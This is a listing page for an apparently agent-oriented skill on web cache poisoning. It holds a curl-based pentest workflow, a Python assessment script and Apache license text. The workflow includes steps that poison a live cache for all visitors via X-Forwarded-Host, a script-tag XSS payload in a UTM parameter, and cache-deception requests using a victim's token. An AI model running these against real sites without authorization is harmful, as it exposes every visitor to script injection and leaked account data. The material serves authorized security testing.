
Performing Web Cache Poisoning Attack
- 171 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
performing-web-cache-poisoning-attack is a Claude Code skill in the AI & Agent Building category.
- performing-web-cache-poisoning-attack
- AI & Agent Building
- AI-coding skill
Performing Web Cache Poisoning Attack by the numbers
- 171 all-time installs (skills.sh)
- +15 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #3,105 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-web-cache-poisoning-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 171 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Performing Web Cache Poisoning Attack
When to Use
- During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
- When assessing web applications for cache-based vulnerabilities that could affect all users
- For testing whether unkeyed HTTP headers are reflected in cached responses
- When evaluating cache key behavior and cache deception vulnerabilities
- During security assessments of applications with aggressive caching policies
Prerequisites
- Authorization: Written penetration testing agreement explicitly covering cache poisoning testing
- Burp Suite Professional: With Param Miner extension for automated unkeyed header discovery
- curl: For manual cache testing with precise header control
- Target knowledge: Understanding of the caching layer (CDN provider, cache headers)
- Cache buster: Unique query parameter to isolate test requests from other users
- Caution: Cache poisoning affects all users; test with cache-busting parameters first
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Identify the Caching Layer and Behavior
Determine what caching infrastructure is in use and how the cache key is constructed.
# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)
# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string
# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active
# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache keyStep 2: Discover Unkeyed Inputs with Param Miner
Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.
# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output
# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"
# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"Step 3: Exploit Unkeyed Header for Cache Poisoning
Craft requests that poison cached responses with malicious content.
# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: <script src="https://target.example.com/app.js">
# Poisoned: <script src="https://evil.example.com/app.js">
# Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"
# Step 2: Poison the actual cached page (WITHOUT cache buster)
# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"
# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"
# If evil.example.com appears, the cache is poisoned
# Attack with X-Forwarded-Proto for HTTP downgrade
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?cb=unique456"
# May cause cached response to include http:// links, enabling MitM
# Attack with multiple headers
curl -s \
-H "X-Forwarded-Host: evil.example.com" \
-H "X-Forwarded-Proto: https" \
"https://target.example.com/?cb=unique789"Step 4: Test Web Cache Deception
Trick the cache into storing authenticated responses for public URLs.
# Web Cache Deception attack
# The cache caches based on file extension (.css, .js, .jpg)
# If the application ignores path suffixes:
# Step 1: As victim (authenticated), visit:
# https://target.example.com/account/profile/nonexistent.css
# If the application returns the profile page (ignoring .css suffix)
# AND the cache stores it because of .css extension...
# Test application path handling
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
"https://target.example.com/account/profile/test.css" | \
grep -i "email\|name\|balance"
# Step 2: As attacker (unauthenticated), request:
curl -s "https://target.example.com/account/profile/test.css"
# If victim's profile data is returned, cache deception is confirmed
# Test various static extensions
for ext in css js jpg png gif ico svg woff woff2 ttf; do
echo -n ".$ext: "
curl -s -H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code} %{size_download}" \
"https://target.example.com/account/settings/x.$ext"
echo
done
# Test path confusion patterns
# /account/settings%2f..%2fstatic/style.css
# /account/settings/..;/static/style.css
# /account/settings;.cssStep 5: Test Parameter-Based Cache Poisoning
Exploit unkeyed query parameters or parameter parsing differences.
# Unkeyed parameter (parameter not in cache key but reflected)
# Using UTM parameters that are often excluded from cache keys
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
grep "alert"
# Parameter cloaking via parsing differences
# Backend sees: callback=evil, Cache key ignores: callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"
# Fat GET request (body in GET request)
curl -s -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "param=evil_value" \
"https://target.example.com/page?cb=$(date +%s)"
# Cache key normalization differences
# Some caches normalize query string order, some don't
curl -s "https://target.example.com/page?a=1&b=2" # Cached as key1
curl -s "https://target.example.com/page?b=2&a=1" # Same key? Or different?
# Test port-based cache poisoning
curl -s -H "Host: target.example.com:1234" \
"https://target.example.com/?cb=$(date +%s)" | grep "1234"Step 6: Validate Impact and Clean Up
Confirm the attack impact and ensure poisoned cache entries are cleared.
# Verify poisoned cache serves to other users
# Use a different IP/User-Agent/session to verify
curl -s -H "User-Agent: CacheVerification" \
"https://target.example.com/" | grep "evil"
# Check cache TTL to understand exposure window
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
# max-age=3600 means poisoned for 1 hour
# Clean up: Force cache refresh
# Some CDNs allow purging via API
# Cloudflare: API call to purge cache
# Varnish: PURGE method
curl -s -X PURGE "https://target.example.com/"
# Or wait for TTL to expire
# Document the cache poisoning window
# Start time: when poison request was sent
# End time: start time + max-age
# Affected users: all users hitting the cached URL during the windowKey Concepts
| Concept | Description |
|---|---|
| Cache Key | The set of request attributes (host, path, query) used to identify cached responses |
| Unkeyed Input | HTTP headers or parameters not included in the cache key but reflected in responses |
| Cache Poisoning | Injecting malicious content into cached responses that are served to other users |
| Cache Deception | Tricking the cache into storing authenticated/private responses as public content |
| Vary Header | HTTP header specifying which request headers should be included in the cache key |
| Cache Buster | A unique query parameter used to prevent affecting the real cache during testing |
| TTL (Time to Live) | Duration a cached response remains valid before being refreshed |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception and cache behavior analysis |
| Param Miner (Burp Extension) | Automated discovery of unkeyed HTTP headers and parameters |
| Web Cache Vulnerability Scanner | Automated cache poisoning detection tool |
| curl | Manual HTTP request crafting with precise header control |
| Varnishlog | Varnish cache debugging and log analysis |
| CDN-specific tools | Cloudflare Analytics, Akamai Pragma headers for cache diagnostics |
Common Scenarios
Scenario 1: X-Forwarded-Host Script Injection
The application reflects the X-Forwarded-Host header in script src URLs. This header is not part of the cache key. Sending a request with X-Forwarded-Host: evil.com poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.
Scenario 2: Web Cache Deception on Account Page
A Cloudflare-cached application ignores unknown path segments. Requesting /account/profile/logo.png returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.
Scenario 3: Parameter-Based XSS via Cache
UTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting <script> tags via utm_content parameter poisons the cache with stored XSS affecting all visitors.
Scenario 4: CDN Cache Poisoning via Host Header
Multiple applications are behind the same CDN. Manipulating the Host header causes the CDN to cache a response from one application under another application's cache key.
Output Format
## Web Cache Poisoning Finding
**Vulnerability**: Web Cache Poisoning via Unkeyed Header
**Severity**: High (CVSS 8.6)
**Location**: X-Forwarded-Host header on all pages
**OWASP Category**: A05:2021 - Security Misconfiguration
### Cache Configuration
| Property | Value |
|----------|-------|
| CDN/Cache | Cloudflare |
| Cache-Control | max-age=3600, public |
| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |
| Affected Pages | All HTML pages (/*.html) |
### Reproduction Steps
1. Send request with X-Forwarded-Host: evil.example.com
2. Response includes: <link href="https://evil.example.com/style.css">
3. This response is cached by Cloudflare for 3600 seconds
4. All subsequent visitors receive the poisoned response
### Impact
- JavaScript execution in all users' browsers (via poisoned script src)
- Credential theft, session hijacking, defacement
- Affects estimated 50,000 daily visitors during 1-hour cache window
- Can be re-poisoned continuously for persistent attack
### Recommendation
1. Include X-Forwarded-Host and similar headers in the cache key via Vary header
2. Do not reflect unkeyed headers in response content
3. Configure the cache to strip unknown headers before forwarding to origin
4. Use application-level hardcoded base URLs instead of deriving from headers
5. Implement cache key normalization to prevent key manipulation
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Web Cache Poisoning Attack Agent
Overview
Tests web applications for cache poisoning vulnerabilities by identifying CDN infrastructure, testing unkeyed headers for reflection and caching, and checking for cache deception paths.
Dependencies
| Package | Version | Purpose |
|---|---|---|
| requests | >= 2.28 | HTTP requests with custom headers |
Core Functions
identify_cache_layer(target_url)
Detects caching infrastructure (Cloudflare, Varnish, Akamai, Fastly, CloudFront) from response headers.
- Returns:
dictwithcdn_detected, cache headers
test_cache_hit_miss(target_url)
Sends 3 sequential requests with cache buster to observe HIT/MISS progression.
- Returns:
dictwith per-request cache status
test_unkeyed_headers(target_url)
Tests 10 common unkeyed headers (X-Forwarded-Host, X-Original-URL, etc.) for reflection and cache poisoning.
- Process: Send header -> check reflection -> re-request without header -> verify cached poison
- Returns:
list[dict]withreflected,cached_poison,risk
test_cache_key_normalization(target_url)
Tests cache key handling for extra parameters, fragments, and trailing slashes.
- Returns:
list[dict]- variation test results
test_cache_deception(target_url)
Tests web cache deception by requesting authenticated pages with static file extensions (.css, .js, .png).
- Returns:
list[dict]- cached sensitive endpoints
run_assessment(target_url)
Full assessment pipeline with summary statistics.
Unkeyed Headers Tested
| Header | Attack Vector |
|---|---|
| X-Forwarded-Host | Host override for poisoning links/redirects |
| X-Forwarded-Scheme | HTTPS downgrade to HTTP |
| X-Original-URL | Path override (Nginx/IIS) |
| X-Rewrite-URL | Path override |
| X-Host | Alternative host injection |
| X-Forwarded-Port | Port injection |
Risk Levels
| Level | Criteria |
|---|---|
| CRITICAL | Header reflected AND cached (full cache poison) |
| HIGH | Header reflected but not confirmed cached |
Usage
python agent.py https://target.example.com#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Web cache poisoning assessment agent using requests and subprocess."""
import sys
import json
import time
import random
import string
try:
import requests
from requests.exceptions import RequestException
except ImportError:
print("Install: pip install requests")
sys.exit(1)
def generate_cache_buster():
"""Generate a unique cache buster parameter."""
return "cb" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
def identify_cache_layer(target_url):
"""Identify caching infrastructure from response headers."""
try:
resp = requests.get(target_url, timeout=10, verify=False)
except RequestException as e:
return {"error": str(e)}
headers = dict(resp.headers)
cache_info = {
"url": target_url,
"cache_control": headers.get("Cache-Control", ""),
"x_cache": headers.get("X-Cache", ""),
"cf_cache_status": headers.get("CF-Cache-Status", ""),
"age": headers.get("Age", ""),
"vary": headers.get("Vary", ""),
"x_varnish": headers.get("X-Varnish", ""),
"via": headers.get("Via", ""),
"x_served_by": headers.get("X-Served-By", ""),
"cdn_detected": None,
}
header_text = json.dumps(headers).lower()
if "cloudflare" in header_text or cache_info["cf_cache_status"]:
cache_info["cdn_detected"] = "Cloudflare"
elif "varnish" in header_text:
cache_info["cdn_detected"] = "Varnish"
elif "akamai" in header_text:
cache_info["cdn_detected"] = "Akamai"
elif "fastly" in header_text:
cache_info["cdn_detected"] = "Fastly"
elif "x-amz" in header_text:
cache_info["cdn_detected"] = "AWS CloudFront"
return cache_info
def test_cache_hit_miss(target_url):
"""Determine if responses are being cached by comparing repeated requests."""
cb = generate_cache_buster()
test_url = f"{target_url}?{cb}=1"
results = []
for i in range(3):
try:
resp = requests.get(test_url, timeout=10, verify=False)
results.append({
"request": i + 1,
"x_cache": resp.headers.get("X-Cache", ""),
"cf_cache": resp.headers.get("CF-Cache-Status", ""),
"age": resp.headers.get("Age", ""),
"status": resp.status_code,
})
except RequestException:
pass
time.sleep(1)
return {"test_url": test_url, "results": results}
def test_unkeyed_headers(target_url):
"""Test for unkeyed headers that are reflected in cached responses."""
cb = generate_cache_buster()
base_url = f"{target_url}?{cb}=1"
unkeyed_headers = [
("X-Forwarded-Host", "evil.com"),
("X-Forwarded-Scheme", "http"),
("X-Forwarded-Proto", "http"),
("X-Original-URL", "/admin"),
("X-Rewrite-URL", "/admin"),
("X-Host", "evil.com"),
("X-Forwarded-Server", "evil.com"),
("X-Forwarded-Port", "1337"),
("X-Original-Host", "evil.com"),
("Transfer-Encoding", "chunked"),
]
findings = []
for header_name, header_value in unkeyed_headers:
cb = generate_cache_buster()
test_url = f"{target_url}?{cb}=1"
try:
resp = requests.get(
test_url, headers={header_name: header_value},
timeout=10, verify=False
)
if header_value in resp.text:
poisoned_resp = requests.get(test_url, timeout=10, verify=False)
cached_poison = header_value in poisoned_resp.text
findings.append({
"header": header_name,
"value": header_value,
"reflected": True,
"cached_poison": cached_poison,
"risk": "CRITICAL" if cached_poison else "HIGH",
})
except RequestException:
pass
return findings
def test_cache_key_normalization(target_url):
"""Test cache key normalization issues."""
cb = generate_cache_buster()
tests = []
variations = [
(f"{target_url}?{cb}=1", "Original"),
(f"{target_url}?{cb}=1&utm_source=test", "Extra parameter"),
(f"{target_url}?{cb}=1#fragment", "Fragment"),
(f"{target_url}/?{cb}=1", "Trailing slash"),
]
for url, desc in variations:
try:
resp = requests.get(url, timeout=10, verify=False)
tests.append({
"variation": desc, "url": url,
"status": resp.status_code,
"x_cache": resp.headers.get("X-Cache", ""),
"content_length": len(resp.content),
})
except RequestException:
pass
return tests
def test_cache_deception(target_url):
"""Test for web cache deception vulnerabilities."""
cb = generate_cache_buster()
deception_paths = [
"/account/profile.css",
"/api/user.js",
"/settings.png",
"/dashboard/nonexistent.css",
]
findings = []
for path in deception_paths:
test_url = f"{target_url.rstrip('/')}{path}?{cb}=1"
try:
resp = requests.get(test_url, timeout=10, verify=False)
cache_status = resp.headers.get("X-Cache", resp.headers.get("CF-Cache-Status", ""))
if "HIT" in cache_status.upper() or resp.headers.get("Age"):
findings.append({
"path": path,
"cached": True,
"status": resp.status_code,
"content_type": resp.headers.get("Content-Type", ""),
"risk": "HIGH",
})
except RequestException:
pass
return findings
def run_assessment(target_url):
"""Full web cache poisoning assessment."""
report = {
"target": target_url,
"cache_layer": identify_cache_layer(target_url),
"cache_behavior": test_cache_hit_miss(target_url),
"unkeyed_headers": test_unkeyed_headers(target_url),
"key_normalization": test_cache_key_normalization(target_url),
"cache_deception": test_cache_deception(target_url),
}
critical_count = sum(
1 for f in report["unkeyed_headers"] if f.get("risk") == "CRITICAL"
)
high_count = sum(
1 for f in report["unkeyed_headers"] if f.get("risk") == "HIGH"
) + len(report["cache_deception"])
report["summary"] = {
"cdn": report["cache_layer"].get("cdn_detected", "Unknown"),
"critical_findings": critical_count,
"high_findings": high_count,
"poisonable_headers": [f["header"] for f in report["unkeyed_headers"] if f.get("cached_poison")],
}
return report
def print_report(report):
print("Web Cache Poisoning Assessment")
print("=" * 50)
print(f"Target: {report['target']}")
print(f"CDN: {report['summary']['cdn']}")
print(f"Critical: {report['summary']['critical_findings']}")
print(f"High: {report['summary']['high_findings']}")
if report["summary"]["poisonable_headers"]:
print(f"\nPoisonable Headers:")
for h in report["summary"]["poisonable_headers"]:
print(f" - {h}")
print(f"\nUnkeyed Header Tests:")
for f in report["unkeyed_headers"]:
status = "POISON" if f.get("cached_poison") else ("REFLECTED" if f.get("reflected") else "SAFE")
print(f" {f['header']}: {status} [{f.get('risk', 'N/A')}]")
if report["cache_deception"]:
print(f"\nCache Deception:")
for f in report["cache_deception"]:
print(f" {f['path']}: CACHED ({f['content_type']})")
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
result = run_assessment(target)
print_report(result)